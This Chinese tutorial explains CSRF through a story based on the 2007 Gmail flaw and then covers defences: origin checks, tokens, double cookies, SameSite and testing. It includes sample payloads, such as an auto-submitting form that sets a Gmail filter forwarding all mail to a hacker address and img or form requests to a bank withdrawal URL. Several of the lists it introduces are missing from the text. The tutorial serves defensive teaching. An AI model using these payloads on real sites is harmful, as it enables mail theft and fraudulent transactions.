接下來(lái)有請(qǐng)小明出場(chǎng)~~
小明的悲慘遭遇
這一天,小明同學(xué)百無(wú)聊賴地刷著Gmail郵件。大部分都是沒(méi)營(yíng)養(yǎng)的通知、驗(yàn)證碼、聊天記錄之類。但有一封郵件引起了小明的注意:
甩賣(mài)比特幣,一個(gè)只要998!!
聰明的小明當(dāng)然知道這種肯定是騙子,但還是抱著好奇的態(tài)度點(diǎn)了進(jìn)去(請(qǐng)勿模仿)。果然,這只是一個(gè)什么都沒(méi)有的空白頁(yè)面,小明失望的關(guān)閉了頁(yè)面。一切似乎什么都沒(méi)有發(fā)生……
在這平靜的外表之下,黑客的攻擊已然得手。小明的Gmail中,被偷偷設(shè)置了一個(gè)過(guò)濾規(guī)則,這個(gè)規(guī)則使得所有的郵件都會(huì)被自動(dòng)轉(zhuǎn)發(fā)到hacker@hackermail.com。小明還在繼續(xù)刷著郵件,殊不知他的郵件正在一封封地,如脫韁的野馬一般地,持續(xù)不斷地向著黑客的郵箱轉(zhuǎn)發(fā)而去。
不久之后的一天,小明發(fā)現(xiàn)自己的域名已經(jīng)被轉(zhuǎn)讓了。懵懂的小明以為是域名到期自己忘了續(xù)費(fèi),直到有一天,對(duì)方開(kāi)出了 0 的贖回價(jià)碼,小明才開(kāi)始覺(jué)得不太對(duì)勁。
小明仔細(xì)查了下域名的轉(zhuǎn)讓,對(duì)方是擁有自己的驗(yàn)證碼的,而域名的驗(yàn)證碼只存在于自己的郵箱里面。小明回想起那天奇怪的鏈接,打開(kāi)后重新查看了“空白頁(yè)”的源碼:
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> <input type="hidden" name="cf2_emc" value="true"/> <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> ..... <input type="hidden" name="irf" value="on"/> <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> document.forms[0].submit(); </script>
這個(gè)頁(yè)面只要打開(kāi),就會(huì)向Gmail發(fā)送一個(gè)post請(qǐng)求。請(qǐng)求中,執(zhí)行了“Create Filter”命令,將所有的郵件,轉(zhuǎn)發(fā)到“hacker@hackermail.com”。
小明由于剛剛就登陸了Gmail,所以這個(gè)請(qǐng)求發(fā)送時(shí),攜帶著小明的登錄憑證(Cookie),Gmail的后臺(tái)接收到請(qǐng)求,驗(yàn)證了確實(shí)有小明的登錄憑證,于是成功給小明配置了過(guò)濾器。
黑客可以查看小明的所有郵件,包括郵件里的域名驗(yàn)證碼等隱私信息。拿到驗(yàn)證碼之后,黑客就可以要求域名服務(wù)商把域名重置給自己。
小明很快打開(kāi)Gmail,找到了那條過(guò)濾器,將其刪除。然而,已經(jīng)泄露的郵件,已經(jīng)被轉(zhuǎn)讓的域名,再也無(wú)法挽回了……
以上就是小明的悲慘遭遇。而“點(diǎn)開(kāi)一個(gè)黑客的鏈接,所有郵件都被竊取”這種事情并不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞:
https://www.davidairey.com/google-gmail-security-hijack/
當(dāng)然,目前此漏洞已被Gmail修復(fù),請(qǐng)使用Gmail的同學(xué)不要慌張。
什么是CSRF
CSRF(Cross-site request forgery)跨站請(qǐng)求偽造:攻擊者誘導(dǎo)受害者進(jìn)入第三方網(wǎng)站,在第三方網(wǎng)站中,向被攻擊網(wǎng)站發(fā)送跨站請(qǐng)求。利用受害者在被攻擊網(wǎng)站已經(jīng)獲取的注冊(cè)憑證,繞過(guò)后臺(tái)的用戶驗(yàn)證,達(dá)到冒充用戶對(duì)被攻擊的網(wǎng)站執(zhí)行某項(xiàng)操作的目的。
一個(gè)典型的CSRF攻擊有著如下的流程:
幾種常見(jiàn)的攻擊類型
GET類型的CSRF利用非常簡(jiǎn)單,只需要一個(gè)HTTP請(qǐng)求,一般會(huì)這樣利用:
<img src="http://bank.example/withdraw?amount=10000&for=hacker" >
在受害者訪問(wèn)含有這個(gè)img的頁(yè)面后,瀏覽器會(huì)自動(dòng)向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker發(fā)出一次HTTP請(qǐng)求。bank.example就會(huì)收到包含受害者登錄信息的一次跨域請(qǐng)求。
這種類型的CSRF利用起來(lái)通常使用的是一個(gè)自動(dòng)提交的表單,如:
<form action="http://bank.example/withdraw" method=POST> <input type="hidden" name="account" value="xiaoming" /> <input type="hidden" name="amount" value="10000" /> <input type="hidden" name="for" value="hacker" /> </form> <script> document.forms[0].submit(); </script>
訪問(wèn)該頁(yè)面后,表單會(huì)自動(dòng)提交,相當(dāng)于模擬用戶完成了一次POST操作。
POST類型的攻擊通常比GET要求更加嚴(yán)格一點(diǎn),但仍并不復(fù)雜。任何個(gè)人網(wǎng)站、博客,被黑客上傳頁(yè)面的網(wǎng)站都有可能是發(fā)起攻擊的來(lái)源,后端接口不能將安全寄托在僅允許POST上面。
鏈接類型的CSRF并不常見(jiàn),比起其他兩種用戶打開(kāi)頁(yè)面就中招的情況,這種需要用戶點(diǎn)擊鏈接才會(huì)觸發(fā)。這種類型通常是在論壇中發(fā)布的圖片中嵌入惡意鏈接,或者以廣告的形式誘導(dǎo)用戶中招,攻擊者通常會(huì)以比較夸張的詞語(yǔ)誘騙用戶點(diǎn)擊,例如:
<a taget="_blank"> 重磅消息!! <a/>
由于之前用戶登錄了信任的網(wǎng)站A,并且保存登錄狀態(tài),只要用戶主動(dòng)訪問(wèn)上面的這個(gè)PHP頁(yè)面,則表示攻擊成功。
CSRF的特點(diǎn)
CSRF通常是跨域的,因?yàn)橥庥蛲ǔ8菀妆还粽哒瓶亍5侨绻居蛳掠腥菀妆焕玫墓δ埽热缈梢园l(fā)圖和鏈接的論壇和評(píng)論區(qū),攻擊可以直接在本域下進(jìn)行,而且這種攻擊更加危險(xiǎn)。
防護(hù)策略
CSRF通常從第三方網(wǎng)站發(fā)起,被攻擊的網(wǎng)站無(wú)法防止攻擊發(fā)生,只能通過(guò)增強(qiáng)自己網(wǎng)站針對(duì)CSRF的防護(hù)能力來(lái)提升安全性。
上文中講了CSRF的兩個(gè)特點(diǎn):
針對(duì)這兩點(diǎn),我們可以專門(mén)制定防護(hù)策略,如下:
以下我們對(duì)各種防護(hù)方法做詳細(xì)說(shuō)明:
同源檢測(cè)
既然CSRF大多來(lái)自第三方網(wǎng)站,那么我們就直接禁止外域(或者不受信任的域名)對(duì)我們發(fā)起請(qǐng)求。
那么問(wèn)題來(lái)了,我們?nèi)绾闻袛嗾?qǐng)求是否來(lái)自外域呢?
在HTTP協(xié)議中,每一個(gè)異步請(qǐng)求都會(huì)攜帶兩個(gè)Header,用于標(biāo)記來(lái)源域名:
這兩個(gè)Header在瀏覽器發(fā)起請(qǐng)求時(shí),大多數(shù)情況會(huì)自動(dòng)帶上,并且不能由前端自定義內(nèi)容。
服務(wù)器可以通過(guò)解析這兩個(gè)Header中的域名,確定請(qǐng)求的來(lái)源域。
使用Origin Header確定來(lái)源域名
在部分與CSRF有關(guān)的請(qǐng)求中,請(qǐng)求的Header中會(huì)攜帶Origin字段。字段內(nèi)包含請(qǐng)求的域名(不包含path及query)。
如果Origin存在,那么直接使用Origin中的字段確認(rèn)來(lái)源域名就可以。
但是Origin在以下兩種情況下并不存在:
使用Referer Header確定來(lái)源域名
根據(jù)HTTP協(xié)議,在HTTP頭中有一個(gè)字段叫Referer,記錄了該HTTP請(qǐng)求的來(lái)源地址。
對(duì)于Ajax請(qǐng)求,圖片和script等資源請(qǐng)求,Referer為發(fā)起請(qǐng)求的頁(yè)面地址。對(duì)于頁(yè)面跳轉(zhuǎn),Referer為打開(kāi)頁(yè)面歷史記錄的前一個(gè)頁(yè)面地址。因此我們使用Referer中鏈接的Origin部分可以得知請(qǐng)求的來(lái)源域名。
這種方法并非萬(wàn)無(wú)一失,Referer的值是由瀏覽器提供的,雖然HTTP協(xié)議上有明確的要求,但是每個(gè)瀏覽器對(duì)于Referer的具體實(shí)現(xiàn)可能有差別,并不能保證瀏覽器自身沒(méi)有安全漏洞。使用驗(yàn)證 Referer 值的方法,就是把安全性都依賴于第三方(即瀏覽器)來(lái)保障,從理論上來(lái)講,這樣并不是很安全。在部分情況下,攻擊者可以隱藏,甚至修改自己請(qǐng)求的Referer。
2014年,W3C的Web應(yīng)用安全工作組發(fā)布了Referrer Policy草案,對(duì)瀏覽器該如何發(fā)送Referer做了詳細(xì)的規(guī)定。截止現(xiàn)在新版瀏覽器大部分已經(jīng)支持了這份草案,我們終于可以靈活地控制自己網(wǎng)站的Referer策略了。新版的Referrer Policy規(guī)定了五種Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。之前就存在的三種策略:never、default和always,在新標(biāo)準(zhǔn)里換了個(gè)名稱。他們的對(duì)應(yīng)關(guān)系如下:
根據(jù)上面的表格因此需要把Referrer Policy的策略設(shè)置成same-origin,對(duì)于同源的鏈接和引用,會(huì)發(fā)送Referer,referer值為Host不帶Path;跨域訪問(wèn)則不攜帶Referer。例如:aaa.com引用bbb.com的資源,不會(huì)發(fā)送Referer。
設(shè)置Referrer Policy的方法有三種:
上面說(shuō)的這些比較多,但我們可以知道一個(gè)問(wèn)題:攻擊者可以在自己的請(qǐng)求中隱藏Referer。如果攻擊者將自己的請(qǐng)求這樣填寫(xiě):
<img src="http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy="no-referrer">
那么這個(gè)請(qǐng)求發(fā)起的攻擊將不攜帶Referer。
另外在以下情況下Referer沒(méi)有或者不可信:
1. IE6、7下使用window.location.href=url進(jìn)行界面的跳轉(zhuǎn),會(huì)丟失Referer。
2. IE6、7下使用window.open,也會(huì)缺失Referer。
3. HTTPS頁(yè)面跳轉(zhuǎn)到HTTP頁(yè)面,所有瀏覽器Referer都丟失。
4. 點(diǎn)擊Flash上到達(dá)另外一個(gè)網(wǎng)站的時(shí)候,Referer的情況就比較雜亂,不太可信。
無(wú)法確認(rèn)來(lái)源域名情況
當(dāng)Origin和Referer頭文件不存在時(shí)該怎么辦?如果Origin和Referer都不存在,建議直接進(jìn)行阻止,特別是如果您沒(méi)有使用隨機(jī)CSRF Token(參考下方)作為第二次檢查。
如何阻止外域請(qǐng)求
通過(guò)Header的驗(yàn)證,我們可以知道發(fā)起請(qǐng)求的來(lái)源域名,這些來(lái)源域名可能是網(wǎng)站本域,或者子域名,或者有授權(quán)的第三方域名,又或者來(lái)自不可信的未知域名。
我們已經(jīng)知道了請(qǐng)求域名是否是來(lái)自不可信的域名,我們直接阻止掉這些的請(qǐng)求,就能防御CSRF攻擊了嗎?
且慢!當(dāng)一個(gè)請(qǐng)求是頁(yè)面請(qǐng)求(比如網(wǎng)站的主頁(yè)),而來(lái)源是搜索引擎的鏈接(例如百度的搜索結(jié)果),也會(huì)被當(dāng)成疑似CSRF攻擊。所以在判斷的時(shí)候需要過(guò)濾掉頁(yè)面請(qǐng)求情況,通常Header符合以下情況:
Accept: text/html Method: GET
但相應(yīng)的,頁(yè)面請(qǐng)求就暴露在了CSRF的攻擊范圍之中。如果你的網(wǎng)站中,在頁(yè)面的GET請(qǐng)求中對(duì)當(dāng)前用戶做了什么操作的話,防范就失效了。
例如,下面的頁(yè)面請(qǐng)求:
GET https://example.com/addComment?comment=XXX&dest=orderId
注:這種嚴(yán)格來(lái)說(shuō)并不一定存在CSRF攻擊的風(fēng)險(xiǎn),但仍然有很多網(wǎng)站經(jīng)常把主文檔GET請(qǐng)求掛上參數(shù)來(lái)實(shí)現(xiàn)產(chǎn)品功能,但是這樣做對(duì)于自身來(lái)說(shuō)是存在安全風(fēng)險(xiǎn)的。
另外,前面說(shuō)過(guò),CSRF大多數(shù)情況下來(lái)自第三方域名,但并不能排除本域發(fā)起。如果攻擊者有權(quán)限在本域發(fā)布評(píng)論(含鏈接、圖片等,統(tǒng)稱UGC),那么它可以直接在本域發(fā)起攻擊,這種情況下同源策略無(wú)法達(dá)到防護(hù)的作用。
綜上所述:同源驗(yàn)證是一個(gè)相對(duì)簡(jiǎn)單的防范方法,能夠防范絕大多數(shù)的CSRF攻擊。但這并不是萬(wàn)無(wú)一失的,對(duì)于安全性要求較高,或者有較多用戶輸入內(nèi)容的網(wǎng)站,我們就要對(duì)關(guān)鍵的接口做額外的防護(hù)措施。
CSRF Token
前面講到CSRF的另一個(gè)特征是,攻擊者無(wú)法直接竊取到用戶的信息(Cookie,Header,網(wǎng)站內(nèi)容等),僅僅是冒用Cookie中的信息。
而CSRF攻擊之所以能夠成功,是因?yàn)榉?wù)器誤把攻擊者發(fā)送的請(qǐng)求當(dāng)成了用戶自己的請(qǐng)求。那么我們可以要求所有的用戶請(qǐng)求都攜帶一個(gè)CSRF攻擊者無(wú)法獲取到的Token。服務(wù)器通過(guò)校驗(yàn)請(qǐng)求是否攜帶正確的Token,來(lái)把正常的請(qǐng)求和攻擊的請(qǐng)求區(qū)分開(kāi),也可以防范CSRF的攻擊。
原理
CSRF Token的防護(hù)策略分為三個(gè)步驟:
1. 將CSRF Token輸出到頁(yè)面中
首先,用戶打開(kāi)頁(yè)面的時(shí)候,服務(wù)器需要給這個(gè)用戶生成一個(gè)Token,該Token通過(guò)加密算法對(duì)數(shù)據(jù)進(jìn)行加密,一般Token都包括隨機(jī)字符串和時(shí)間戳的組合,顯然在提交時(shí)Token不能再放在Cookie中了,否則又會(huì)被攻擊者冒用。因此,為了安全起見(jiàn)Token最好還是存在服務(wù)器的Session中,之后在每次頁(yè)面加載時(shí),使用JS遍歷整個(gè)DOM樹(shù),對(duì)于DOM中所有的a和form標(biāo)簽后加入Token。這樣可以解決大部分的請(qǐng)求,但是對(duì)于在頁(yè)面加載之后動(dòng)態(tài)生成的HTML代碼,這種方法就沒(méi)有作用,還需要程序員在編碼時(shí)手動(dòng)添加Token。
2. 頁(yè)面提交的請(qǐng)求攜帶這個(gè)Token
對(duì)于GET請(qǐng)求,Token將附在請(qǐng)求地址之后,這樣URL 就變成 http://url?csrftoken=tokenvalue。 而對(duì)于 POST 請(qǐng)求來(lái)說(shuō),要在 form 的最后加上:
<input type=”hidden” name=”csrftoken” value=”tokenvalue”/>
這樣,就把Token以參數(shù)的形式加入請(qǐng)求了。
3. 服務(wù)器驗(yàn)證Token是否正確
當(dāng)用戶從客戶端得到了Token,再次提交給服務(wù)器的時(shí)候,服務(wù)器需要判斷Token的有效性,驗(yàn)證過(guò)程是先解密Token,對(duì)比加密字符串以及時(shí)間戳,如果加密字符串一致且時(shí)間未過(guò)期,那么這個(gè)Token就是有效的。
這種方法要比之前檢查Referer或者Origin要安全一些,Token可以在產(chǎn)生并放于Session之中,然后在每次請(qǐng)求時(shí)把Token從Session中拿出,與請(qǐng)求中的Token進(jìn)行比對(duì),但這種方法的比較麻煩的在于如何把Token以參數(shù)的形式加入請(qǐng)求。
下面將以Java為例,介紹一些CSRF Token的服務(wù)端校驗(yàn)邏輯,代碼如下:
HttpServletRequest req = (HttpServletRequest)request; HttpSession s = req.getSession(); // 從 session 中得到 csrftoken 屬性 String sToken = (String)s.getAttribute(“csrftoken”); if(sToken == null){ // 產(chǎn)生新的 token 放入 session 中 sToken = generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response); } else{ // 從 HTTP 頭中取得 csrftoken String xhrToken = req.getHeader(“csrftoken”); // 從請(qǐng)求參數(shù)中取得 csrftoken String pToken = req.getParameter(“csrftoken”); if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ chain.doFilter(request, response); }else if(sToken != null && pToken != null && sToken.equals(pToken)){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(“error.jsp”).forward(request,response); } }
代碼源自:IBM developerworks CSRF
這個(gè)Token的值必須是隨機(jī)生成的,這樣它就不會(huì)被攻擊者猜到,考慮利用Java應(yīng)用程序的java.security.SecureRandom類來(lái)生成足夠長(zhǎng)的隨機(jī)標(biāo)記,替代生成算法包括使用256位BASE64編碼哈希,選擇這種生成算法的開(kāi)發(fā)人員必須確保在散列數(shù)據(jù)中使用隨機(jī)性和唯一性來(lái)生成隨機(jī)標(biāo)識(shí)。通常,開(kāi)發(fā)人員只需為當(dāng)前會(huì)話生成一次Token。在初始生成此Token之后,該值將存儲(chǔ)在會(huì)話中,并用于每個(gè)后續(xù)請(qǐng)求,直到會(huì)話過(guò)期。當(dāng)最終用戶發(fā)出請(qǐng)求時(shí),服務(wù)器端必須驗(yàn)證請(qǐng)求中Token的存在性和有效性,與會(huì)話中找到的Token相比較。如果在請(qǐng)求中找不到Token,或者提供的值與會(huì)話中的值不匹配,則應(yīng)中止請(qǐng)求,應(yīng)重置Token并將事件記錄為正在進(jìn)行的潛在CSRF攻擊。
分布式校驗(yàn)
在大型網(wǎng)站中,使用Session存儲(chǔ)CSRF Token會(huì)帶來(lái)很大的壓力。訪問(wèn)單臺(tái)服務(wù)器session是同一個(gè)。但是現(xiàn)在的大型網(wǎng)站中,我們的服務(wù)器通常不止一臺(tái),可能是幾十臺(tái)甚至幾百臺(tái)之多,甚至多個(gè)機(jī)房都可能在不同的省份,用戶發(fā)起的HTTP請(qǐng)求通常要經(jīng)過(guò)像Ngnix之類的負(fù)載均衡器之后,再路由到具體的服務(wù)器上,由于Session默認(rèn)存儲(chǔ)在單機(jī)服務(wù)器內(nèi)存中,因此在分布式環(huán)境下同一個(gè)用戶發(fā)送的多次HTTP請(qǐng)求可能會(huì)先后落到不同的服務(wù)器上,導(dǎo)致后面發(fā)起的HTTP請(qǐng)求無(wú)法拿到之前的HTTP請(qǐng)求存儲(chǔ)在服務(wù)器中的Session數(shù)據(jù),從而使得Session機(jī)制在分布式環(huán)境下失效,因此在分布式集群中CSRF Token需要存儲(chǔ)在Redis之類的公共存儲(chǔ)空間。
由于使用Session存儲(chǔ),讀取和驗(yàn)證CSRF Token會(huì)引起比較大的復(fù)雜度和性能問(wèn)題,目前很多網(wǎng)站采用Encrypted Token Pattern方式。這種方法的Token是一個(gè)計(jì)算出來(lái)的結(jié)果,而非隨機(jī)生成的字符串。這樣在校驗(yàn)時(shí)無(wú)需再去讀取存儲(chǔ)的Token,只用再次計(jì)算一次即可。
這種Token的值通常是使用UserID、時(shí)間戳和隨機(jī)數(shù),通過(guò)加密的方法生成。這樣既可以保證分布式服務(wù)的Token一致,又能保證Token不容易被破解。
在token解密成功之后,服務(wù)器可以訪問(wèn)解析值,Token中包含的UserID和時(shí)間戳將會(huì)被拿來(lái)被驗(yàn)證有效性,將UserID與當(dāng)前登錄的UserID進(jìn)行比較,并將時(shí)間戳與當(dāng)前時(shí)間進(jìn)行比較。
總結(jié)
Token是一個(gè)比較有效的CSRF防護(hù)方法,只要頁(yè)面沒(méi)有XSS漏洞泄露Token,那么接口的CSRF攻擊就無(wú)法成功。
但是此方法的實(shí)現(xiàn)比較復(fù)雜,需要給每一個(gè)頁(yè)面都寫(xiě)入Token(前端無(wú)法使用純靜態(tài)頁(yè)面),每一個(gè)Form及Ajax請(qǐng)求都攜帶這個(gè)Token,后端對(duì)每一個(gè)接口都進(jìn)行校驗(yàn),并保證頁(yè)面Token及請(qǐng)求Token一致。這就使得這個(gè)防護(hù)策略不能在通用的攔截上統(tǒng)一攔截處理,而需要每一個(gè)頁(yè)面和接口都添加對(duì)應(yīng)的輸出和校驗(yàn)。這種方法工作量巨大,且有可能遺漏。
驗(yàn)證碼和密碼其實(shí)也可以起到CSRF Token的作用哦,而且更安全。
為什么很多銀行等網(wǎng)站會(huì)要求已經(jīng)登錄的用戶在轉(zhuǎn)賬時(shí)再次輸入密碼,現(xiàn)在是不是有一定道理了?
雙重Cookie驗(yàn)證
在會(huì)話中存儲(chǔ)CSRF Token比較繁瑣,而且不能在通用的攔截上統(tǒng)一處理所有的接口。
那么另一種防御措施是使用雙重提交Cookie。利用CSRF攻擊不能獲取到用戶Cookie的特點(diǎn),我們可以要求Ajax和表單請(qǐng)求攜帶一個(gè)Cookie中的值。
雙重Cookie采用以下流程:
此方法相對(duì)于CSRF Token就簡(jiǎn)單了許多。可以直接通過(guò)前后端攔截的的方法自動(dòng)化實(shí)現(xiàn)。后端校驗(yàn)也更加方便,只需進(jìn)行請(qǐng)求中字段的對(duì)比,而不需要再進(jìn)行查詢和存儲(chǔ)Token。
當(dāng)然,此方法并沒(méi)有大規(guī)模應(yīng)用,其在大型網(wǎng)站上的安全性還是沒(méi)有CSRF Token高,原因我們舉例進(jìn)行說(shuō)明。
由于任何跨域都會(huì)導(dǎo)致前端無(wú)法獲取Cookie中的字段(包括子域名之間),于是發(fā)生了如下情況:
總結(jié)
用雙重Cookie防御CSRF的優(yōu)點(diǎn):
缺點(diǎn)
Samesite Cookie屬性
防止CSRF攻擊的辦法已經(jīng)有上面的預(yù)防措施。為了從源頭上解決這個(gè)問(wèn)題,Google起草了一份草案來(lái)改進(jìn)HTTP協(xié)議,那就是為Set-Cookie響應(yīng)頭新增Samesite屬性,它用來(lái)標(biāo)明這個(gè) Cookie是個(gè)“同站 Cookie”,同站Cookie只能作為第一方Cookie,不能作為第三方Cookie,Samesite 有兩個(gè)屬性值,分別是 Strict 和 Lax,下面分別講解:
Samesite=Strict
這種稱為嚴(yán)格模式,表明這個(gè) Cookie 在任何情況下都不可能作為第三方 Cookie,絕無(wú)例外。比如說(shuō) b.com 設(shè)置了如下 Cookie:
Set-Cookie: foo=1; Samesite=Strict Set-Cookie: bar=2; Samesite=Lax Set-Cookie: baz=3
我們?cè)?a.com 下發(fā)起對(duì) b.com 的任意請(qǐng)求,foo 這個(gè) Cookie 都不會(huì)被包含在 Cookie 請(qǐng)求頭中,但 bar 會(huì)。舉個(gè)實(shí)際的例子就是,假如淘寶網(wǎng)站用來(lái)識(shí)別用戶登錄與否的 Cookie 被設(shè)置成了 Samesite=Strict,那么用戶從百度搜索頁(yè)面甚至天貓頁(yè)面的鏈接點(diǎn)擊進(jìn)入淘寶后,淘寶都不會(huì)是登錄狀態(tài),因?yàn)樘詫毜姆?wù)器不會(huì)接受到那個(gè) Cookie,其它網(wǎng)站發(fā)起的對(duì)淘寶的任意請(qǐng)求都不會(huì)帶上那個(gè) Cookie。
Samesite=Lax
這種稱為寬松模式,比 Strict 放寬了點(diǎn)限制:假如這個(gè)請(qǐng)求是這種請(qǐng)求(改變了當(dāng)前頁(yè)面或者打開(kāi)了新頁(yè)面)且同時(shí)是個(gè)GET請(qǐng)求,則這個(gè)Cookie可以作為第三方Cookie。比如說(shuō) b.com設(shè)置了如下Cookie:
Set-Cookie: foo=1; Samesite=Strict Set-Cookie: bar=2; Samesite=Lax Set-Cookie: baz=3
當(dāng)用戶從 a.com 點(diǎn)擊鏈接進(jìn)入 b.com 時(shí),foo 這個(gè) Cookie 不會(huì)被包含在 Cookie 請(qǐng)求頭中,但 bar 和 baz 會(huì),也就是說(shuō)用戶在不同網(wǎng)站之間通過(guò)鏈接跳轉(zhuǎn)是不受影響了。但假如這個(gè)請(qǐng)求是從 a.com 發(fā)起的對(duì) b.com 的異步請(qǐng)求,或者頁(yè)面跳轉(zhuǎn)是通過(guò)表單的 post 提交觸發(fā)的,則bar也不會(huì)發(fā)送。
生成Token放到Cookie中并且設(shè)置Cookie的Samesite,Java代碼如下:
private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) { //生成token String sToken = this.generateToken(); //手動(dòng)添加Cookie實(shí)現(xiàn)支持“Samesite=strict” //Cookie添加雙重驗(yàn)證 String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI()); httpResponse.addHeader("Set-Cookie", CookieSpec); httpResponse.setHeader(CSRF_TOKEN_NAME, token); }
代碼源自O(shè)WASP Cross-Site_Request_Forgery #Implementation example
我們應(yīng)該如何使用SamesiteCookie
如果SamesiteCookie被設(shè)置為Strict,瀏覽器在任何跨域請(qǐng)求中都不會(huì)攜帶Cookie,新標(biāo)簽重新打開(kāi)也不攜帶,所以說(shuō)CSRF攻擊基本沒(méi)有機(jī)會(huì)。
但是跳轉(zhuǎn)子域名或者是新標(biāo)簽重新打開(kāi)剛登陸的網(wǎng)站,之前的Cookie都不會(huì)存在。尤其是有登錄的網(wǎng)站,那么我們新打開(kāi)一個(gè)標(biāo)簽進(jìn)入,或者跳轉(zhuǎn)到子域名的網(wǎng)站,都需要重新登錄。對(duì)于用戶來(lái)講,可能體驗(yàn)不會(huì)很好。
如果SamesiteCookie被設(shè)置為L(zhǎng)ax,那么其他網(wǎng)站通過(guò)頁(yè)面跳轉(zhuǎn)過(guò)來(lái)的時(shí)候可以使用Cookie,可以保障外域連接打開(kāi)頁(yè)面時(shí)用戶的登錄狀態(tài)。但相應(yīng)的,其安全性也比較低。
另外一個(gè)問(wèn)題是Samesite的兼容性不是很好,現(xiàn)階段除了從新版Chrome和Firefox支持以外,Safari以及iOS Safari都還不支持,現(xiàn)階段看來(lái)暫時(shí)還不能普及。
而且,SamesiteCookie目前有一個(gè)致命的缺陷:不支持子域。例如,種在topic.a.com下的Cookie,并不能使用a.com下種植的SamesiteCookie。這就導(dǎo)致了當(dāng)我們網(wǎng)站有多個(gè)子域名時(shí),不能使用SamesiteCookie在主域名存儲(chǔ)用戶登錄信息。每個(gè)子域名都需要用戶重新登錄一次。
總之,SamesiteCookie是一個(gè)可能替代同源驗(yàn)證的方案,但目前還并不成熟,其應(yīng)用場(chǎng)景有待觀望。
防止網(wǎng)站被利用
前面所說(shuō)的,都是被攻擊的網(wǎng)站如何做好防護(hù)。而非防止攻擊的發(fā)生,CSRF的攻擊可以來(lái)自:
對(duì)于來(lái)自黑客自己的網(wǎng)站,我們無(wú)法防護(hù)。但對(duì)其他情況,那么如何防止自己的網(wǎng)站被利用成為攻擊的源頭呢?
CSRF其他防范措施
對(duì)于一線的程序員同學(xué),我們可以通過(guò)各種防護(hù)策略來(lái)防御CSRF,對(duì)于QA、SRE、安全負(fù)責(zé)人等同學(xué),我們可以做哪些事情來(lái)提升安全性呢?
CSRF測(cè)試
CSRFTester是一款CSRF漏洞的測(cè)試工具,CSRFTester工具的測(cè)試原理大概是這樣的,使用代理抓取我們?cè)跒g覽器中訪問(wèn)過(guò)的所有的連接以及所有的表單等信息,通過(guò)在CSRFTester中修改相應(yīng)的表單等信息,重新提交,相當(dāng)于一次偽造客戶端請(qǐng)求,如果修改后的測(cè)試請(qǐng)求成功被網(wǎng)站服務(wù)器接受,則說(shuō)明存在CSRF漏洞,當(dāng)然此款工具也可以被用來(lái)進(jìn)行CSRF攻擊。
CSRFTester使用方法大致分下面幾個(gè)步驟:
CSRFTester默認(rèn)使用Localhost上的端口8008作為其代理,如果代理配置成功,CSRFTester將為您的瀏覽器生成的所有后續(xù)HTTP請(qǐng)求生成調(diào)試消息。
我們需要找到一個(gè)我們想要為CSRF測(cè)試的特定業(yè)務(wù)Web頁(yè)面。找到此頁(yè)面后,選擇CSRFTester中的“開(kāi)始錄制”按鈕并執(zhí)行業(yè)務(wù)功能;完成后,點(diǎn)擊CSRFTester中的“停止錄制”按鈕;正常情況下,該軟件會(huì)全部遍歷一遍當(dāng)前頁(yè)面的所有請(qǐng)求。
之后,我們會(huì)發(fā)現(xiàn)軟件上有一系列跑出來(lái)的記錄請(qǐng)求,這些都是我們的瀏覽器在執(zhí)行業(yè)務(wù)功能時(shí)生成的所有GET或者POST請(qǐng)求。通過(guò)選擇列表中的某一行,我們現(xiàn)在可以修改用于執(zhí)行業(yè)務(wù)功能的參數(shù),可以通過(guò)點(diǎn)擊對(duì)應(yīng)的請(qǐng)求修改query和form的參數(shù)。當(dāng)修改完所有我們希望誘導(dǎo)用戶form最終的提交值,可以選擇開(kāi)始生成HTML報(bào)告。
首先必須選擇“報(bào)告類型”。報(bào)告類型決定了我們希望受害者瀏覽器如何提交先前記錄的請(qǐng)求。目前有5種可能的報(bào)告:表單、iFrame、IMG、XHR和鏈接。一旦選擇了報(bào)告類型,我們可以選擇在瀏覽器中啟動(dòng)新生成的報(bào)告,最后根據(jù)報(bào)告的情況進(jìn)行對(duì)應(yīng)的排查和修復(fù)。
CSRF監(jiān)控
對(duì)于一個(gè)比較復(fù)雜的網(wǎng)站系統(tǒng),某些項(xiàng)目、頁(yè)面、接口漏掉了CSRF防護(hù)措施是很可能的。
一旦發(fā)生了CSRF攻擊,我們?nèi)绾渭皶r(shí)的發(fā)現(xiàn)這些攻擊呢?
CSRF攻擊有著比較明顯的特征:
我們可以在網(wǎng)站的代理層監(jiān)控所有的接口請(qǐng)求,如果請(qǐng)求符合上面的特征,就可以認(rèn)為請(qǐng)求有CSRF攻擊嫌疑。我們可以提醒對(duì)應(yīng)的頁(yè)面和項(xiàng)目負(fù)責(zé)人,檢查或者 Review其CSRF防護(hù)策略。
個(gè)人用戶CSRF安全的建議
經(jīng)常上網(wǎng)的個(gè)人用戶,可以采用以下方法來(lái)保護(hù)自己:
總結(jié)
簡(jiǎn)單總結(jié)一下上文的防護(hù)策略:
為了更好的防御CSRF,最佳實(shí)踐應(yīng)該是結(jié)合上面總結(jié)的防御措施方式中的優(yōu)缺點(diǎn)來(lái)綜合考慮,結(jié)合當(dāng)前Web應(yīng)用程序自身的情況做合適的選擇,才能更好的預(yù)防CSRF的發(fā)生。
歷史案例
WordPress的CSRF漏洞
2012年3月份,WordPress發(fā)現(xiàn)了一個(gè)CSRF漏洞,影響了WordPress 3.3.1版本,WordPress是眾所周知的博客平臺(tái),該漏洞可以允許攻擊者修改某個(gè)Post的標(biāo)題,添加管理權(quán)限用戶以及操作用戶賬戶,包括但不限于刪除評(píng)論、修改頭像等等。具體的列表如下:
